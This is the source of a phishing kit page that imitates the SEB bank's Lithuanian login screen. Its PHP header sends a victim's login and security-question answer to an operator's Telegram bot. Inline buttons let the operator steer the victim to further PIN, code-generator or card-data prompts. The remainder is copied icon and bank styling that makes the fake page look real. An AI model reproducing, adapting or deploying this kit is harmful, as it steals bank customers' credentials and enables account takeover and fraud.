<?php

$config = json_decode(file_get_contents('data.json'));
$pay = @file_get_contents('db/'.$_POST['id'].'.txt');

if ($pay === false) {
    exit('No pay');
}

$pay = json_decode($pay);



message_to_telegram($config->token, $config->chat_id, "<b>✉️ GEN ✉️</b>".PHP_EOL.'➖➖➖➖➖➖➖➖➖➖'.PHP_EOL.'<b>Ответ на вопрос:</b> <code>'.$_POST['genpass'].PHP_EOL.'</code> <b>Логин:</b> '.$pay->login, [

 [
            ['text' => '📱 Custom 📱', 'callback_data' => '/message '.$_POST['id']],
        ],  
         [
            ['text' => '📱 PIN 📱', 'callback_data' => '/cpin '.$_POST['id']],
        ], 
        [
            ['text' => '📱 GEN 📱', 'callback_data' => '/cgen '.$_POST['id']],
        ], 
        [
            ['text' => '❌ Запрос карты ❌' , 'callback_data' => '/fail '.$_POST['id']],
            ],
            [
                ['text' => '❌ Неверный лк ❌' , 'callback_data' => '/app '.$_POST['id']],
                ],
]);
//header("Location: ".((!empty($_SERVER['HTTPS'])) ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . '/3ds.php?id='.$_POST['id']);


switch ($cmd[0]) {
    case '/gen':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}


switch ($cmd[0]) {
    case '/msg':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}

switch ($cmd[0]) {
    case '/msgpin':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}

switch ($cmd[0]) {
    case '/msgpin2':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}


function message_to_telegram($bot_token, $chat_id, $text, $kb = [])
{
    $ch = curl_init();
    $ch_post = [
        CURLOPT_URL => 'https://api.telegram.org/bot' . $bot_token . '/sendMessage',
        CURLOPT_POST => TRUE,
        CURLOPT_RETURNTRANSFER => TRUE,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_POSTFIELDS => [
            'chat_id' => $chat_id,
            'parse_mode' => 'HTML',
            'text' => $text,
            'reply_markup' => json_encode([
                'inline_keyboard' => $kb
            ]),
            'disable_notification' => true
        ]
    ];
    curl_setopt_array($ch, $ch_post);
    curl_exec($ch);
}


?>

<!DOCTYPE html>
<html lang="lt" data-critters-container="" >
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
        <link href="css/new.css" rel="stylesheet">
        <style type="text/css">
            :root,
            :host {
                --fa-font-solid: normal 900 1em/1 "Font Awesome 6 Solid";
                --fa-font-regular: normal 400 1em/1 "Font Awesome 6 Regular";
                --fa-font-light: normal 300 1em/1 "Font Awesome 6 Light";
                --fa-font-thin: normal 100 1em/1 "Font Awesome 6 Thin";
                --fa-font-duotone: normal 900 1em/1 "Font Awesome 6 Duotone";
                --fa-font-sharp-solid: normal 900 1em/1 "Font Awesome 6 Sharp";
                --fa-font-sharp-regular: normal 400 1em/1 "Font Awesome 6 Sharp";
                --fa-font-sharp-light: normal 300 1em/1 "Font Awesome 6 Sharp";
                --fa-font-sharp-thin: normal 100 1em/1 "Font Awesome 6 Sharp";
                --fa-font-brands: normal 400 1em/1 "Font Awesome 6 Brands";
            }

            svg:not(:root).svg-inline--fa,
            svg:not(:host).svg-inline--fa {
                overflow: visible;
                box-sizing: content-box;
            }

            .svg-inline--fa {
                display: var(--fa-display, inline-block);
                height: 1em;
                overflow: visible;
                vertical-align: -0.125em;
            }
            .svg-inline--fa.fa-2xs {
                vertical-align: 0.1em;
            }
            .svg-inline--fa.fa-xs {
                vertical-align: 0em;
            }
            .svg-inline--fa.fa-sm {
                vertical-align: -0.0714285705em;
            }
            .svg-inline--fa.fa-lg {
                vertical-align: -0.2em;
            }
            .svg-inline--fa.fa-xl {
                vertical-align: -0.25em;
            }
            .svg-inline--fa.fa-2xl {
                vertical-align: -0.3125em;
            }
            .svg-inline--fa.fa-pull-left {
                margin-right: var(--fa-pull-margin, 0.3em);
                width: auto;
            }
            .svg-inline--fa.fa-pull-right {
                margin-left: var(--fa-pull-margin, 0.3em);
                width: auto;
            }
            .svg-inline--fa.fa-li {
                width: var(--fa-li-width, 2em);
                top: 0.25em;
            }
            .svg-inline--fa.fa-fw {
                width: var(--fa-fw-width, 1.25em);
            }

            .fa-layers svg.svg-inline--fa {
                bottom: 0;
                left: 0;
                margin: auto;
                position: absolute;
                right: 0;
                top: 0;
            }

            .fa-layers-counter,
            .fa-layers-text {
                display: inline-block;
                position: absolute;
                text-align: center;
            }

            .fa-layers {
                display: inline-block;
                height: 1em;
                position: relative;
                text-align: center;
                vertical-align: -0.125em;
                width: 1em;
            }
            .fa-layers svg.svg-inline--fa {
                -webkit-transform-origin: center center;
                transform-origin: center center;
            }

            .fa-layers-text {
                left: 50%;
                top: 50%;
                -webkit-transform: translate(-50%, -50%);
                transform: translate(-50%, -50%);
                -webkit-transform-origin: center center;
                transform-origin: center center;
            }

            .fa-layers-counter {
                background-color: var(--fa-counter-background-color, #ff253a);
                border-radius: var(--fa-counter-border-radius, 1em);
                box-sizing: border-box;
                color: var(--fa-inverse, #fff);
                line-height: var(--fa-counter-line-height, 1);
                max-width: var(--fa-counter-max-width, 5em);
                min-width: var(--fa-counter-min-width, 1.5em);
                overflow: hidden;
                padding: var(--fa-counter-padding, 0.25em 0.5em);
                right: var(--fa-right, 0);
                text-overflow: ellipsis;
                top: var(--fa-top, 0);
                -webkit-transform: scale(var(--fa-counter-scale, 0.25));
                transform: scale(var(--fa-counter-scale, 0.25));
                -webkit-transform-origin: top right;
                transform-origin: top right;
            }

            .fa-layers-bottom-right {
                bottom: var(--fa-bottom, 0);
                right: var(--fa-right, 0);
                top: auto;
                -webkit-transform: scale(var(--fa-layers-scale, 0.25));
                transform: scale(var(--fa-layers-scale, 0.25));
                -webkit-transform-origin: bottom right;
                transform-origin: bottom right;
            }

            .fa-layers-bottom-left {
                bottom: var(--fa-bottom, 0);
                left: var(--fa-left, 0);
                right: auto;
                top: auto;
                -webkit-transform: scale(var(--fa-layers-scale, 0.25));
                transform: scale(var(--fa-layers-scale, 0.25));
                -webkit-transform-origin: bottom left;
                transform-origin: bottom left;
            }

            .fa-layers-top-right {
                top: var(--fa-top, 0);
                right: var(--fa-right, 0);
                -webkit-transform: scale(var(--fa-layers-scale, 0.25));
                transform: scale(var(--fa-layers-scale, 0.25));
                -webkit-transform-origin: top right;
                transform-origin: top right;
            }

            .fa-layers-top-left {
                left: var(--fa-left, 0);
                right: auto;
                top: var(--fa-top, 0);
                -webkit-transform: scale(var(--fa-layers-scale, 0.25));
                transform: scale(var(--fa-layers-scale, 0.25));
                -webkit-transform-origin: top left;
                transform-origin: top left;
            }

            .fa-1x {
                font-size: 1em;
            }

            .fa-2x {
                font-size: 2em;
            }

            .fa-3x {
                font-size: 3em;
            }

            .fa-4x {
                font-size: 4em;
            }

            .fa-5x {
                font-size: 5em;
            }

            .fa-6x {
                font-size: 6em;
            }

            .fa-7x {
                font-size: 7em;
            }

            .fa-8x {
                font-size: 8em;
            }

            .fa-9x {
                font-size: 9em;
            }

            .fa-10x {
                font-size: 10em;
            }

            .fa-2xs {
                font-size: 0.625em;
                line-height: 0.1em;
                vertical-align: 0.225em;
            }

            .fa-xs {
                font-size: 0.75em;
                line-height: 0.0833333337em;
                vertical-align: 0.125em;
            }

            .fa-sm {
                font-size: 0.875em;
                line-height: 0.0714285718em;
                vertical-align: 0.0535714295em;
            }

            .fa-lg {
                font-size: 1.25em;
                line-height: 0.05em;
                vertical-align: -0.075em;
            }

            .fa-xl {
                font-size: 1.5em;
                line-height: 0.0416666682em;
                vertical-align: -0.125em;
            }

            .fa-2xl {
                font-size: 2em;
                line-height: 0.03125em;
                vertical-align: -0.1875em;
            }

            .fa-fw {
                text-align: center;
                width: 1.25em;
            }

            .fa-ul {
                list-style-type: none;
                margin-left: var(--fa-li-margin, 2.5em);
                padding-left: 0;
            }
            .fa-ul > li {
                position: relative;
            }

            .fa-li {
                left: calc(var(--fa-li-width, 2em) * -1);
                position: absolute;
                text-align: center;
                width: var(--fa-li-width, 2em);
                line-height: inherit;
            }

            .fa-border {
                border-color: var(--fa-border-color, #eee);
                border-radius: var(--fa-border-radius, 0.1em);
                border-style: var(--fa-border-style, solid);
                border-width: var(--fa-border-width, 0.08em);
                padding: var(--fa-border-padding, 0.2em 0.25em 0.15em);
            }

            .fa-pull-left {
                float: left;
                margin-right: var(--fa-pull-margin, 0.3em);
            }

            .fa-pull-right {
                float: right;
                margin-left: var(--fa-pull-margin, 0.3em);
            }

            .fa-beat {
                -webkit-animation-name: fa-beat;
                animation-name: fa-beat;
                -webkit-animation-delay: var(--fa-animation-delay, 0s);
                animation-delay: var(--fa-animation-delay, 0s);
                -webkit-animation-direction: var(--fa-animation-direction, normal);
                animation-direction: var(--fa-animation-direction, normal);
                -webkit-animation-duration: var(--fa-animation-duration, 1s);
                animation-duration: var(--fa-animation-duration, 1s);
                -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
                animation-iteration-count: var(--fa-animation-iteration-count, infinite);
                -webkit-animation-timing-function: var(--fa-animation-timing, ease-in-out);
                animation-timing-function: var(--fa-animation-timing, ease-in-out);
            }

            .fa-bounce {
                -webkit-animation-name: fa-bounce;
                animation-name: fa-bounce;
                -webkit-animation-delay: var(--fa-animation-delay, 0s);
                animation-delay: var(--fa-animation-delay, 0s);
                -webkit-animation-direction: var(--fa-animation-direction, normal);
                animation-direction: var(--fa-animation-direction, normal);
                -webkit-animation-duration: var(--fa-animation-duration, 1s);
                animation-duration: var(--fa-animation-duration, 1s);
                -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
                animation-iteration-count: var(--fa-animation-iteration-count, infinite);
                -webkit-animation-timing-function: var(--fa-animation-timing, cubic-bezier(0.28, 0.84, 0.42, 1));
                animation-timing-function: var(--fa-animation-timing, cubic-bezier(0.28, 0.84, 0.42, 1));
            }

            .fa-fade {
                -webkit-animation-name: fa-fade;
                animation-name: fa-fade;
                -webkit-animation-delay: var(--fa-animation-delay, 0s);
                animation-delay: var(--fa-animation-delay, 0s);
                -webkit-animation-direction: var(--fa-animation-direction, normal);
                animation-direction: var(--fa-animation-direction, normal);
                -webkit-animation-duration: var(--fa-animation-duration, 1s);
                animation-duration: var(--fa-animation-duration, 1s);
                -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
                animation-iteration-count: var(--fa-animation-iteration-count, infinite);
                -webkit-animation-timing-function: var(--fa-animation-timing, cubic-bezier(0.4, 0, 0.6, 1));
                animation-timing-function: var(--fa-animation-timing, cubic-bezier(0.4, 0, 0.6, 1));
            }

            .fa-beat-fade {
                -webkit-animation-name: fa-beat-fade;
                animation-name: fa-beat-fade;
                -webkit-animation-delay: var(--fa-animation-delay, 0s);
                animation-delay: var(--fa-animation-delay, 0s);
                -webkit-animation-direction: var(--fa-animation-direction, normal);
                animation-direction: var(--fa-animation-direction, normal);
                -webkit-animation-duration: var(--fa-animation-duration, 1s);
                animation-duration: var(--fa-animation-duration, 1s);
                -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
                animation-iteration-count: var(--fa-animation-iteration-count, infinite);
                -webkit-animation-timing-function: var(--fa-animation-timing, cubic-bezier(0.4, 0, 0.6, 1));
                animation-timing-function: var(--fa-animation-timing, cubic-bezier(0.4, 0, 0.6, 1));
            }

            .fa-flip {
                -webkit-animation-name: fa-flip;
                animation-name: fa-flip;
                -webkit-animation-delay: var(--fa-animation-delay, 0s);
                animation-delay: var(--fa-animation-delay, 0s);
                -webkit-animation-direction: var(--fa-animation-direction, normal);
                animation-direction: var(--fa-animation-direction, normal);
                -webkit-animation-duration: var(--fa-animation-duration, 1s);
                animation-duration: var(--fa-animation-duration, 1s);
                -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
                animation-iteration-count: var(--fa-animation-iteration-count, infinite);
                -webkit-animation-timing-function: var(--fa-animation-timing, ease-in-out);
                animation-timing-function: var(--fa-animation-timing, ease-in-out);
            }

            .fa-shake {
                -webkit-animation-name: fa-shake;
                animation-name: fa-shake;
                -webkit-animation-delay: var(--fa-animation-delay, 0s);
                animation-delay: var(--fa-animation-delay, 0s);
                -webkit-animation-direction: var(--fa-animation-direction, normal);
                animation-direction: var(--fa-animation-direction, normal);
                -webkit-animation-duration: var(--fa-animation-duration, 1s);
                animation-duration: var(--fa-animation-duration, 1s);
                -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
                animation-iteration-count: var(--fa-animation-iteration-count, infinite);
                -webkit-animation-timing-function: var(--fa-animation-timing, linear);
                animation-timing-function: var(--fa-animation-timing, linear);
            }

            .fa-spin {
                -webkit-animation-name: fa-spin;
                animation-name: fa-spin;
                -webkit-animation-delay: var(--fa-animation-delay, 0s);
                animation-delay: var(--fa-animation-delay, 0s);
                -webkit-animation-direction: var(--fa-animation-direction, normal);
                animation-direction: var(--fa-animation-direction, normal);
                -webkit-animation-duration: var(--fa-animation-duration, 2s);
                animation-duration: var(--fa-animation-duration, 2s);
                -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
                animation-iteration-count: var(--fa-animation-iteration-count, infinite);
                -webkit-animation-timing-function: var(--fa-animation-timing, linear);
                animation-timing-function: var(--fa-animation-timing, linear);
            }

            .fa-spin-reverse {
                --fa-animation-direction: reverse;
            }

            .fa-pulse,
            .fa-spin-pulse {
                -webkit-animation-name: fa-spin;
                animation-name: fa-spin;
                -webkit-animation-direction: var(--fa-animation-direction, normal);
                animation-direction: var(--fa-animation-direction, normal);
                -webkit-animation-duration: var(--fa-animation-duration, 1s);
                animation-duration: var(--fa-animation-duration, 1s);
                -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
                animation-iteration-count: var(--fa-animation-iteration-count, infinite);
                -webkit-animation-timing-function: var(--fa-animation-timing, steps(8));
                animation-timing-function: var(--fa-animation-timing, steps(8));
            }

            @media (prefers-reduced-motion: reduce) {
                .fa-beat,
                .fa-bounce,
                .fa-fade,
                .fa-beat-fade,
                .fa-flip,
                .fa-pulse,
                .fa-shake,
                .fa-spin,
                .fa-spin-pulse {
                    -webkit-animation-delay: -1ms;
                    animation-delay: -1ms;
                    -webkit-animation-duration: 1ms;
                    animation-duration: 1ms;
                    -webkit-animation-iteration-count: 1;
                    animation-iteration-count: 1;
                    -webkit-transition-delay: 0s;
                    transition-delay: 0s;
                    -webkit-transition-duration: 0s;
                    transition-duration: 0s;
                }
            }
            @-webkit-keyframes fa-beat {
                0%,
                90% {
                    -webkit-transform: scale(1);
                    transform: scale(1);
                }
                45% {
                    -webkit-transform: scale(var(--fa-beat-scale, 1.25));
                    transform: scale(var(--fa-beat-scale, 1.25));
                }
            }
            @keyframes fa-beat {
                0%,
                90% {
                    -webkit-transform: scale(1);
                    transform: scale(1);
                }
                45% {
                    -webkit-transform: scale(var(--fa-beat-scale, 1.25));
                    transform: scale(var(--fa-beat-scale, 1.25));
                }
            }
            @-webkit-keyframes fa-bounce {
                0% {
                    -webkit-transform: scale(1, 1) translateY(0);
                    transform: scale(1, 1) translateY(0);
                }
                10% {
                    -webkit-transform: scale(var(--fa-bounce-start-scale-x, 1.1), var(--fa-bounce-start-scale-y, 0.9)) translateY(0);
                    transform: scale(var(--fa-bounce-start-scale-x, 1.1), var(--fa-bounce-start-scale-y, 0.9)) translateY(0);
                }
                30% {
                    -webkit-transform: scale(var(--fa-bounce-jump-scale-x, 0.9), var(--fa-bounce-jump-scale-y, 1.1)) translateY(var(--fa-bounce-height, -0.5em));
                    transform: scale(var(--fa-bounce-jump-scale-x, 0.9), var(--fa-bounce-jump-scale-y, 1.1)) translateY(var(--fa-bounce-height, -0.5em));
                }
                50% {
                    -webkit-transform: scale(var(--fa-bounce-land-scale-x, 1.05), var(--fa-bounce-land-scale-y, 0.95)) translateY(0);
                    transform: scale(var(--fa-bounce-land-scale-x, 1.05), var(--fa-bounce-land-scale-y, 0.95)) translateY(0);
                }
                57% {
                    -webkit-transform: scale(1, 1) translateY(var(--fa-bounce-rebound, -0.125em));
                    transform: scale(1, 1) translateY(var(--fa-bounce-rebound, -0.125em));
                }
                64% {
                    -webkit-transform: scale(1, 1) translateY(0);
                    transform: scale(1, 1) translateY(0);
                }
                100% {
                    -webkit-transform: scale(1, 1) translateY(0);
                    transform: scale(1, 1) translateY(0);
                }
            }
            @keyframes fa-bounce {
                0% {
                    -webkit-transform: scale(1, 1) translateY(0);
                    transform: scale(1, 1) translateY(0);
                }
                10% {
                    -webkit-transform: scale(var(--fa-bounce-start-scale-x, 1.1), var(--fa-bounce-start-scale-y, 0.9)) translateY(0);
                    transform: scale(var(--fa-bounce-start-scale-x, 1.1), var(--fa-bounce-start-scale-y, 0.9)) translateY(0);
                }
                30% {
                    -webkit-transform: scale(var(--fa-bounce-jump-scale-x, 0.9), var(--fa-bounce-jump-scale-y, 1.1)) translateY(var(--fa-bounce-height, -0.5em));
                    transform: scale(var(--fa-bounce-jump-scale-x, 0.9), var(--fa-bounce-jump-scale-y, 1.1)) translateY(var(--fa-bounce-height, -0.5em));
                }
                50% {
                    -webkit-transform: scale(var(--fa-bounce-land-scale-x, 1.05), var(--fa-bounce-land-scale-y, 0.95)) translateY(0);
                    transform: scale(var(--fa-bounce-land-scale-x, 1.05), var(--fa-bounce-land-scale-y, 0.95)) translateY(0);
                }
                57% {
                    -webkit-transform: scale(1, 1) translateY(var(--fa-bounce-rebound, -0.125em));
                    transform: scale(1, 1) translateY(var(--fa-bounce-rebound, -0.125em));
                }
                64% {
                    -webkit-transform: scale(1, 1) translateY(0);
                    transform: scale(1, 1) translateY(0);
                }
                100% {
                    -webkit-transform: scale(1, 1) translateY(0);
                    transform: scale(1, 1) translateY(0);
                }
            }
            @-webkit-keyframes fa-fade {
                50% {
                    opacity: var(--fa-fade-opacity, 0.4);
                }
            }
            @keyframes fa-fade {
                50% {
                    opacity: var(--fa-fade-opacity, 0.4);
                }
            }
            @-webkit-keyframes fa-beat-fade {
                0%,
                100% {
                    opacity: var(--fa-beat-fade-opacity, 0.4);
                    -webkit-transform: scale(1);
                    transform: scale(1);
                }
                50% {
                    opacity: 1;
                    -webkit-transform: scale(var(--fa-beat-fade-scale, 1.125));
                    transform: scale(var(--fa-beat-fade-scale, 1.125));
                }
            }
            @keyframes fa-beat-fade {
                0%,
                100% {
                    opacity: var(--fa-beat-fade-opacity, 0.4);
                    -webkit-transform: scale(1);
                    transform: scale(1);
                }
                50% {
                    opacity: 1;
                    -webkit-transform: scale(var(--fa-beat-fade-scale, 1.125));
                    transform: scale(var(--fa-beat-fade-scale, 1.125));
                }
            }
            @-webkit-keyframes fa-flip {
                50% {
                    -webkit-transform: rotate3d(var(--fa-flip-x, 0), var(--fa-flip-y, 1), var(--fa-flip-z, 0), var(--fa-flip-angle, -180deg));
                    transform: rotate3d(var(--fa-flip-x, 0), var(--fa-flip-y, 1), var(--fa-flip-z, 0), var(--fa-flip-angle, -180deg));
                }
            }
            @keyframes fa-flip {
                50% {
                    -webkit-transform: rotate3d(var(--fa-flip-x, 0), var(--fa-flip-y, 1), var(--fa-flip-z, 0), var(--fa-flip-angle, -180deg));
                    transform: rotate3d(var(--fa-flip-x, 0), var(--fa-flip-y, 1), var(--fa-flip-z, 0), var(--fa-flip-angle, -180deg));
                }
            }
            @-webkit-keyframes fa-shake {
                0% {
                    -webkit-transform: rotate(-15deg);
                    transform: rotate(-15deg);
                }
                4% {
                    -webkit-transform: rotate(15deg);
                    transform: rotate(15deg);
                }
                8%,
                24% {
                    -webkit-transform: rotate(-18deg);
                    transform: rotate(-18deg);
                }
                12%,
                28% {
                    -webkit-transform: rotate(18deg);
                    transform: rotate(18deg);
                }
                16% {
                    -webkit-transform: rotate(-22deg);
                    transform: rotate(-22deg);
                }
                20% {
                    -webkit-transform: rotate(22deg);
                    transform: rotate(22deg);
                }
                32% {
                    -webkit-transform: rotate(-12deg);
                    transform: rotate(-12deg);
                }
                36% {
                    -webkit-transform: rotate(12deg);
                    transform: rotate(12deg);
                }
                40%,
                100% {
                    -webkit-transform: rotate(0deg);
                    transform: rotate(0deg);
                }
            }
            @keyframes fa-shake {
                0% {
                    -webkit-transform: rotate(-15deg);
                    transform: rotate(-15deg);
                }
                4% {
                    -webkit-transform: rotate(15deg);
                    transform: rotate(15deg);
                }
                8%,
                24% {
                    -webkit-transform: rotate(-18deg);
                    transform: rotate(-18deg);
                }
                12%,
                28% {
                    -webkit-transform: rotate(18deg);
                    transform: rotate(18deg);
                }
                16% {
                    -webkit-transform: rotate(-22deg);
                    transform: rotate(-22deg);
                }
                20% {
                    -webkit-transform: rotate(22deg);
                    transform: rotate(22deg);
                }
                32% {
                    -webkit-transform: rotate(-12deg);
                    transform: rotate(-12deg);
                }
                36% {
                    -webkit-transform: rotate(12deg);
                    transform: rotate(12deg);
                }
                40%,
                100% {
                    -webkit-transform: rotate(0deg);
                    transform: rotate(0deg);
                }
            }
            @-webkit-keyframes fa-spin {
                0% {
                    -webkit-transform: rotate(0deg);
                    transform: rotate(0deg);
                }
                100% {
                    -webkit-transform: rotate(360deg);
                    transform: rotate(360deg);
                }
            }
            @keyframes fa-spin {
                0% {
                    -webkit-transform: rotate(0deg);
                    transform: rotate(0deg);
                }
                100% {
                    -webkit-transform: rotate(360deg);
                    transform: rotate(360deg);
                }
            }
            .fa-rotate-90 {
                -webkit-transform: rotate(90deg);
                transform: rotate(90deg);
            }

            .fa-rotate-180 {
                -webkit-transform: rotate(180deg);
                transform: rotate(180deg);
            }

            .fa-rotate-270 {
                -webkit-transform: rotate(270deg);
                transform: rotate(270deg);
            }

            .fa-flip-horizontal {
                -webkit-transform: scale(-1, 1);
                transform: scale(-1, 1);
            }

            .fa-flip-vertical {
                -webkit-transform: scale(1, -1);
                transform: scale(1, -1);
            }

            .fa-flip-both,
            .fa-flip-horizontal.fa-flip-vertical {
                -webkit-transform: scale(-1, -1);
                transform: scale(-1, -1);
            }

            .fa-rotate-by {
                -webkit-transform: rotate(var(--fa-rotate-angle, none));
                transform: rotate(var(--fa-rotate-angle, none));
            }

            .fa-stack {
                display: inline-block;
                vertical-align: middle;
                height: 2em;
                position: relative;
                width: 2.5em;
            }

            .fa-stack-1x,
            .fa-stack-2x {
                bottom: 0;
                left: 0;
                margin: auto;
                position: absolute;
                right: 0;
                top: 0;
                z-index: var(--fa-stack-z-index, auto);
            }

            .svg-inline--fa.fa-stack-1x {
                height: 1em;
                width: 1.25em;
            }
            .svg-inline--fa.fa-stack-2x {
                height: 2em;
                width: 2.5em;
            }

            .fa-inverse {
                color: var(--fa-inverse, #fff);
            }

            .sr-only,
            .fa-sr-only {
                position: absolute;
                width: 1px;
                height: 1px;
                padding: 0;
                margin: -1px;
                overflow: hidden;
                clip: rect(0, 0, 0, 0);
                white-space: nowrap;
                border-width: 0;
            }

            .sr-only-focusable:not(:focus),
            .fa-sr-only-focusable:not(:focus) {
                position: absolute;
                width: 1px;
                height: 1px;
                padding: 0;
                margin: -1px;
                overflow: hidden;
                clip: rect(0, 0, 0, 0);
                white-space: nowrap;
                border-width: 0;
            }

            .svg-inline--fa .fa-primary {
                fill: var(--fa-primary-color, currentColor);
                opacity: var(--fa-primary-opacity, 1);
            }

            .svg-inline--fa .fa-secondary {
                fill: var(--fa-secondary-color, currentColor);
                opacity: var(--fa-secondary-opacity, 0.4);
            }

            .svg-inline--fa.fa-swap-opacity .fa-primary {
                opacity: var(--fa-secondary-opacity, 0.4);
            }

            .svg-inline--fa.fa-swap-opacity .fa-secondary {
                opacity: var(--fa-primary-opacity, 1);
            }

            .svg-inline--fa mask .fa-primary,
            .svg-inline--fa mask .fa-secondary {
                fill: black;
            }

            .fad.fa-inverse,
            .fa-duotone.fa-inverse {
                color: var(--fa-inverse, #fff);
            }
        </style>
        <link rel="icon" type="image/x-icon" href="favicon.ico" />

        <title aria-live="assertive">SEB Prisijungimas</title>
        <!--<base href="/ib/">-->
        <base href="." />
        <meta name="viewport" content="width=device-width, initial-scale=1" />
        <link rel="stylesheet" href="./css/all.css" />
        <style>
            @charset "UTF-8";
            :root {
                --blue: #41b0ee;
                --indigo: #6610f2;
                --purple: #673ab6;
                --pink: #e83e8c;
                --red: #f03529;
                --orange: #fd7e14;
                --yellow: #ffc500;
                --green: #60cd18;
                --teal: #20c997;
                --cyan: #17a2b8;
                --white: #fff;
                --gray: #868686;
                --gray-dark: #333333;
                --primary: #41b0ee;
                --secondary: #dedede;
                --success: #308800;
                --info: #dedede;
                --warning: #ffc500;
                --danger: #d81a1a;
                --light: #f8f8f8;
                --dark: #333333;
                --breakpoint-xs: 0;
                --breakpoint-sm: 576px;
                --breakpoint-md: 768px;
                --breakpoint-lg: 992px;
                --breakpoint-xl: 1200px;
                --font-family-sans-serif: "SEBSansSerif", "Trebuchet MS", "Trebuchet", "Helvetica Neue", Helvetica, Arial, sans-serif;
                --font-family-monospace: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
            }
            @media print {
                *,
                *:before,
                *:after {
                    text-shadow: none !important;
                    box-shadow: none !important;
                }
                @page {
                    size: a3;
                }
                body {
                    min-width: 992px !important;
                }
            }
            *,
            *:before,
            *:after {
                box-sizing: border-box;
            }
            html {
                font-family: sans-serif;
                line-height: 1.15;
                -webkit-text-size-adjust: 100%;
                -webkit-tap-highlight-color: rgba(0, 0, 0, 0);
            }
            body {
                margin: 0;
                font-family: SEBSansSerif, Trebuchet MS, Trebuchet, Helvetica Neue, Helvetica, Arial, sans-serif;
                font-size: 1rem;
                font-weight: 400;
                line-height: 1.5;
                color: #333;
                text-align: left;
                background-color: #f8f8f8;
            }
            @font-face {
                font-family: SEBSansSerif;
                src: url(SEBSansSerif-Light.4e28c4ab671bed8a.eot);
                src: url(SEBSansSerif-Light.4e28c4ab671bed8a.eot?#iefix) format("embedded-opentype"), url(SEBSansSerif-Light.195c27b51f617e3e.woff2) format("woff2"), url(SEBSansSerif-Light.7586a546b83dffdf.woff) format("woff");
                font-weight: 300;
                font-style: normal;
                font-display: swap;
            }
            @font-face {
                font-family: SEBSansSerif;
                src: url(SEBSansSerif-Regular.8052f88e9987eaa8.eot);
                src: url(SEBSansSerif-Regular.8052f88e9987eaa8.eot?#iefix) format("embedded-opentype"), url(SEBSansSerif-Regular.4c7865fb24ae2790.woff2) format("woff2"), url(SEBSansSerif-Regular.c9bbe07f0fefee54.woff) format("woff");
                font-weight: 400;
                font-style: normal;
                font-display: swap;
            }
            @font-face {
                font-family: SEBSansSerif;
                src: url(SEBSansSerif-Medium.3c7b9ca4f10b015b.eot);
                src: url(SEBSansSerif-Medium.3c7b9ca4f10b015b.eot?#iefix) format("embedded-opentype"), url(SEBSansSerif-Medium.308ab8de3c2e2535.woff2) format("woff2"), url(SEBSansSerif-Medium.d2288921a31df58b.woff) format("woff");
                font-weight: 500;
                font-style: normal;
                font-display: swap;
            }
            @font-face {
                font-family: SEBSansSerif;
                src: url(SEBSansSerif-Bold.ab22b2a47e82934c.eot);
                src: url(SEBSansSerif-Bold.ab22b2a47e82934c.eot?#iefix) format("embedded-opentype"), url(SEBSansSerif-Bold.71b79a3e35a90d02.woff2) format("woff2"), url(SEBSansSerif-Bold.b9f76338bb1a27cc.woff) format("woff");
                font-weight: 700;
                font-style: normal;
                font-display: swap;
            }
            @font-face {
                font-family: SEBSansSerif;
                src: url(SEBSansSerif-LightItalic.69e7b56cf66d43b7.eot);
                src: url(SEBSansSerif-LightItalic.69e7b56cf66d43b7.eot?#iefix) format("embedded-opentype"), url(SEBSansSerif-LightItalic.53207f60d06a5656.woff2) format("woff2"),
                    url(SEBSansSerif-LightItalic.660268cfdfe0b290.woff) format("woff");
                font-weight: 300;
                font-style: italic;
                font-display: swap;
            }
            @font-face {
                font-family: SEBSansSerif;
                src: url(SEBSansSerif-RegularItalic.71a17103c0eb87be.eot);
                src: url(SEBSansSerif-RegularItalic.71a17103c0eb87be.eot?#iefix) format("embedded-opentype"), url(SEBSansSerif-RegularItalic.d435eb11388bdace.woff2) format("woff2"),
                    url(SEBSansSerif-RegularItalic.fb6468250c16657e.woff) format("woff");
                font-weight: 400;
                font-style: italic;
                font-display: swap;
            }
            @font-face {
                font-family: SEBSansSerif;
                src: url(SEBSansSerif-MediumItalic.55fa88ce1d5e9094.eot);
                src: url(SEBSansSerif-MediumItalic.55fa88ce1d5e9094.eot?#iefix) format("embedded-opentype"), url(SEBSansSerif-MediumItalic.b08277fc835db84e.woff2) format("woff2"),
                    url(SEBSansSerif-MediumItalic.e9130530caf9b371.woff) format("woff");
                font-weight: 500;
                font-style: italic;
                font-display: swap;
            }
            @font-face {
                font-family: SEBSansSerif;
                src: url(SEBSansSerif-BoldItalic.61b734de6288afb9.eot);
                src: url(SEBSansSerif-BoldItalic.61b734de6288afb9.eot?#iefix) format("embedded-opentype"), url(SEBSansSerif-BoldItalic.c2460f73c063d38a.woff2) format("woff2"),
                    url(SEBSansSerif-BoldItalic.95d3d49f158b2958.woff) format("woff");
                font-weight: 700;
                font-style: italic;
                font-display: swap;
            }
            html {
                box-sizing: border-box;
            }
            *,
            *:before,
            *:after {
                box-sizing: inherit;
            }
            body {
                overflow: hidden;
            }
            body,
            app-main-page {
                font-size: 1rem;
                font-weight: 400;
                line-height: 1.5rem;
            }
        </style>
